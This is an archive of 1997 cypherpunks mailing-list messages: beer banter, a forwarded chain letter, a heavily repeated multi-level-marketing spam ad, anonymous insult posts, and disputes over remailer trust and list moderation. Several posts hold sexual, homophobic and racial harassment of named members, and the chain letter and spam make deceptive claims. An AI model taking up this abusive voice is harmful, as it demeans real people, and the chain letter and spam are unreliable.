> Dr.Dimitri Vulis KOTM wrote:
> > Dale Thorn <dthorn@gte.net> writes:
>
> > > > > The drunk can be excluded, but when someone wants to use the drunk as
> > > > > an example to escalate the exclusion to other persons who are not in
> > > > > fact drunk, watch out!
>
> > > > If I get really really drunk, which happens very seldom, then I'm
> > > > too drunk to post. I don't mind an occasional beer, though.
>
> > > > Oksas, have you ever tried beer? :-)
>
> > > I had my first beer(s) in three years at one of those industrial
> > > parties last night.  It made the craps table action seem a bit
> > > merrier, and the girls were friendlier too.
>
> > I like an occasional Coors Lite.  BTW I think Limey Faggots are right about
> > one think: I like room-temperature beer better than cold beer. YMMV.
>
> Interesting coincidence for people on opposite coasts - the bar at
> the hotel had two choices:  Bud regular and Coors light.  I took the
> Coors.

I remember when one had trouble getting Coors in NY: had something to do
with their giving $$ to the Nicaragua contras and upsetting the
politically correct distributors.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Thu, 6 Feb 1997 07:10:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702061510.HAA24867@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


bite your penis.

            /_/\/\
            \_\  / Tim C[reep] May
            /_/  \
            \_\/\ \
               \_\/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 6 Feb 1997 11:22:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunks spread chain letters
Message-ID: <199702061922.LAA28356@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Now the punks are sending me "good luck" letters...

What a bunch of losers. No wonder they bend over for Gilmore.

>                        St. Jude
> 
>         Kiss someone you love when you get this letter and make magic.  This
> paper was sent to you for good luck.  The original copy is in New England.  I
> has been around the world nine times.  The Luck has been sent to you.  You
> will receive good luck in four days.  This is no joke.  You will receive it i
> the mail.  send copies to people that you think need good luck.  Don't send
> money as fate has no price.  Do not keep this letter.  It must leave your
> hands in 96 hours.  An Air Force officer received $70,000 in four days.  Joe
> Elliot received $40,000 and lost it because he broke the chain.  While in the
> Philippines, Gene Wolf lost his wife six days after receiving this letter.  H
> failed to circulate the letter.  However, before he death, she won $50,000 in
> a lottery.  The money was transferred to him four days after he decided to
> mail this letter.  Please make twenty copies of this letter and see what
> happens in four days.  The chain comes from South Venezuela and was written b
> Saint Anthony Decroc, a missionary from South America.  Since the copy must
> make a tour of the world, you must make twenty copies and send them to your
> friends and associates.  After a few days you will get a surprise.  This is
> true even though you are not superstitious.  So note the following: 
> Constantine Dens received the chain in 1958.  He asked his secretary to make
> twenty copies and send them out.  A few days later he won the lottery of 2
> million dollars.  Andy Doddit, and office employee, received a letter and
> forgot it had to leave his hands within 96 hours, he lost his job.  Later,
> after finding the letter again, he mailed out twenty copies.  A few days late
> he got a better job.
> Please send no money.  Please don't ignore this.  IT DOES WORK.
> 
> 
> 
>                        St. Jude
> 
>         Kiss someone you love when you get this letter and make magic.  This
> paper was sent to you for good luck.  The original copy is in New England.  I
> has been around the world nine times.  The Luck has been sent to you.  You
> will receive good luck in four days.  This is no joke.  You will receive it i
> the mail.  send copies to people that you think need good luck.  Don't send
> money as fate has no price.  Do not keep this letter.  It must leave your
> hands in 96 hours.  An Air Force officer received $70,000 in four days.  Joe
> Elliot received $40,000 and lost it because he broke the chain.  While in the
> Philippines, Gene Wolf lost his wife six days after receiving this letter.  H
> failed to circulate the letter.  However, before he death, she won $50,000 in
> a lottery.  The money was transferred to him four days after he decided to
> mail this letter.  Please make twenty copies of this letter and see what
> happens in four days.  The chain comes from South Venezuela and was written b
> Saint Anthony Decroc, a missionary from South America.  Since the copy must
> make a tour of the world, you must make twenty copies and send them to your
> friends and associates.  After a few days you will get a surprise.  This is
> true even though you are not superstitious.  So note the following: 
> Constantine Dens received the chain in 1958.  He asked his secretary to make
> twenty copies and send them out.  A few days later he won the lottery of 2
> million dollars.  Andy Doddit, and office employee, received a letter and
> forgot it had to leave his hands within 96 hours, he lost his job.  Later,
> after finding the letter again, he mailed out twenty copies.  A few days late
> he got a better job.
> Please send no money.  Please don't ignore this.  IT DOES WORK.
> 
> 
> 
> 


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rodney Thayer <rodney@sabletech.com>
Date: Thu, 6 Feb 1997 12:42:42 -0800 (PST)
To: linux-ipsec@clinet.fi
Subject: testing
Message-ID: <199702062042.MAA29609@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




               Rodney Thayer <rodney@sabletech.com>       +1 617 332 7292
               Sable Technology Corp, 246 Walnut St., Newton MA 02160 USA
               Fax: +1 617 332 7970           http://www.shore.net/~sable
                           "Developers of communications software"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: starvino@gte.net
Date: Thu, 6 Feb 1997 15:19:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Kool! Klassy! Klever!
Message-ID: <199702062319.PAA02669@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and youre not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
7 3 x 7 forced matrix + extras
7 the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer Anonymous Remailer <lucifer@dhp.com>
Date: Thu, 6 Feb 1997 19:40:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Secure checksums
Message-ID: <199702070340.TAA07843@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C[reep] May sits at his terminal dressed in five-inch stiletto 
heels, fishnet stockings, a gold-lame mini-skirt, a purple halter with 
girdle underneath to keep in his flabby gut, a Fredericks of Hollywood 
padded bra also underneath the halter, a cheap Naomi Sims pink afro 
wig, waiting to yank his crank whenever a black man responds to one of 
his inane rants.

               __
           ___|[]| Timothy C[reep] May
       \__|______|
       /-(o_o_o_o)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: steve <steve@idoru.demon.co.uk>
Date: Thu, 6 Feb 1997 15:11:20 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199702062311.PAA02460@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work.
Get me off this list now.!
I joined to learn about cryptography, not listen to some socially retarded juveniles argue over who's got the biggest dick.

-----Original Message-----
From:	Majordomo@toad.com [SMTP:Majordomo@toad.com]
Sent:	06 February 1997 19:43
To:	steve
Subject:	Your Majordomo request results

--

Your request of Majordomo was:
>>>> ------ =_NextPart_000_01BC1463.B5C5FAE0
END OF COMMANDS









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Thu, 6 Feb 1997 23:10:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dr. Denning
Message-ID: <199702070710.XAA13617@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimwit Vermin is a pimply dweeb sitting at a computer chortling
at his own imagined cleverness.

   _<_
  (_|_(  Dimwit Vermin
\-._|_,-,
 `-----'







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 6 Feb 1997 20:41:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: anonymous remailers
Message-ID: <199702070441.UAA09107@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


c.musselman@internetmci.com (Charley Musselman) writes:

> C'punks --
> 	When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

Even if the feds are not directtly involved, the so-called "cypher punk"
remailers are run by people who should not be trusted.  Check out their
remailer-operators list: it's full of announcements that some specific
person posted something via the remailer that the operator didn't like.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Thu, 6 Feb 1997 20:40:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: True story, Fly the Obsfucted Skies (fwd)
Message-ID: <199702070440.UAA09075@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <ray@earthweb.com> writes:
...
> I thought about it. I scratched my goatee. I said:
...
How can an Armenian eunich grow a bear? Even a faggy goatee?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Fri, 7 Feb 1997 06:55:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PICS] forgery detection
Message-ID: <199702071455.GAA24388@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


When Deadwood Vulgar K[arcass]OTM's mother gave birth to him
after fucking with a bunch of sailors, she didn't know who the
father was but decided to tell him that he was a Russian as the
Russian sailor was the one who satisfied her the most.

     /\ \  / /\
    //\\ .. //\\ Deadwood Vulgar K[arcass]OTM
    //\((  ))/\\
    /  < `' >  \







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 06:56:01 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: anonymous remailers
Message-ID: <199702071456.GAA24406@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:06 PM -0800 2/6/97, Sandy Sandfort wrote:

>Currently, there are three lists.  It looks as though the message
>in question appeared on the Unedited list.  This is NOT the same
>as the Flames list.

Well, I only subscribe to the Flames list--there is no doubt about this.

In any case, what is the meaning of a message going only to the "Unedited"
list?  A message that goes to the Unedited list but _not_ to the Flames
list must surely go to the Main list, right?

That is,

MAIN list + FLAMES list = UNEDITED list

Isn't this the way it works, that the Unedited list is the union of the
MAIN and FLAMES lists, which are disjoint?

So, since the Vulis message on anonymous remailers did not appear on the
MAIN list, it must have appeared on the FLAMES list.


>I don't recall where I sorted that particular post to after I
>read it on the Unedited list.  If it went to the "wrong" list,
>my apologies to the author.  As I indicated before, I don't think
>a 100% solution is possible, but I think I'm running in the high
>90s under the criteria I enunciated.  Not perfection, but a
>definite improvement over the prior condition.

You keep saying this ("the list is better, the list is better, the list is
better"). Repeating it enough may make it true, for you.

In any case, my point is that there were no "flame" triggers in either of
the messages you sent to the Flames list. Unless you are rejecting based on
your opinion of the views expressed, these messages belong on the main list.

Sandy, you are a sloppy moderator. An incompetent, in fact. Get better fast
or knock off the pretense that you know better than we do what Cypherpunks
are ready to read.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 06:55:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer-operators DEA agents?
Message-ID: <199702071455.GAA24405@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Again, I am only on the Flames list. So why was this message sent to the
Flames list? Because someone responded to a Vulis post? Is a response to a
Banned Message now grounds for rejection?

Here's the message sent to the Flames pile. Although the anonymous author
did not add much, neither the original message nor his/her one line
response was a "flame" or "insult." Hence it should not have been rejected.


At 5:47 AM +0000 2/7/97, Secret Squirrel wrote:
>Dr.Dimitri Vulis KOTM wrote:
>> c.musselman@internetmci.com (Charley Musselman) writes:
>> > C'punks --
>> >     When I told a friend about the alt.drugs.pot cultivation newsgroup
>> > and suggested that he use an anonymous remailer to post to the group,
>> > he laughed and said, "Who do you suppose runs the remailers?  ATF,
>> > FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
>> > anyone know the answer?  Specifically, how can we choose a trusted
>> > remailer?
>>
>> Even if the feds are not directtly involved, the so-called "cypher punk"
>> remailers are run by people who should not be trusted.  Check out their
>> remailer-operators list: it's full of announcements that some specific
>> person posted something via the remailer that the operator didn't like.
>
>Examples, please?


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
